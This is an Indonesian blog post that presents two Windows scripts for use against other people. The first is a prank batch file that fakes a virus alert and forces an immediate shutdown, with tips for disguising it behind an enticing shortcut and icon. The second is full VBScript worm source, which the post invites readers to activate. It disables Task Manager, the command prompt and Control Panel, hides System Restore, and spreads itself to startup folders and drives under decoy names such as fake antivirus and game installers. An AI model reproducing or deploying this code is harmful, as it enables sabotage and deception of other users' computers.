virus

Script Auto Shutdown

Halo sobat, gimana kabarnya hari ini ? Semoga selalu dalam keadaan baik ajah yua,salam dariku vidi hehehehe (^_^). Rasanya sudah lama Aku tidak membahas tentang hal hal yang berbau windows, trik windows..Ok, Kali ini Aku akan share tentang cara membuat script jail yang jika diklik dua kali, maka komputer akan otomatis shutdown wehhehehe (^_^). Mungkin trik ini trik jadul. Tapi nggak ada salahnya kan kalau vidi share disini ..Ok, langsung saja yua. simak tutornya, jangan lupa yua!!









1. buka notepad.
2. kemudian masukkan script berikut :



@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0


3. Kemudian simpan dengan nama terserah.bat
4. selesai !

Nah, jika Anda mengklik (membuka) file ini, maka komputer akan secara otomatis membacanya sebagai
perintah shutdown (off). Sangat cocok digunakan untuk jail. Perlu diketahui bahwa tidak ada efek samping
dari script ini. Dan ini juga bukan virus. Dulu saya sering gunakan trik ini untuk
menjahili teman di lab sekolah. Hehehe..jangan di tiru ya perbuatanku ini (^_^)

OK, sepertinya kurang dramatis kalau scriptnya berbentuk .bat. Jadi kita bisa ikon file yang
hitam itu menjadi ikon yang lebih menarik. Misalnya "poker", "game house", atau apa saja yang sekiranya
orang tertarik untuk mengklik file itu.

Ok, berikut caranya :

1. Sembunyikan file terserah.bat tadi ke dalam folder. kalau perlu buat foldernya menjadi hidden.
2. Buat shortcut (jalan pintas) ke tempat yang Anda anggap strategis. Yang menurut Anda akan banyak orang
tertipu. Dan jangan lupa beri nama shortcut tadi dengan nama yang menarik.
3. Terakhir, ganti ikonnya dengan ikon yang lebih menarik. Dengan cara klik kanan, kemudian pilih change icon.

Selesai !!
Sekian posting kali ini. 

                           
Dah, "SEMOGA BERMANFAAT"


pelajarin yah, karena dengan belajar virus(script) kita jadi tau gmana dia bekerja dan pastinya kita bakalan tahu cara me-nonaktifkannya juga, betul?
nanti komputerku terinfeksi?
rekan, file ini masih berupa script dan berextensi(.txt)
untuk mengaktifkan(kalau mau) ganti xtensinya jadi (.vbs) okeh??
pasti bisa.
kasih komentarnyah dongkh!






On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\Ternate. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya,
Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableT askMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ Hantu.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ Dajjal_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ Hantu.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ Hantu.vbs" )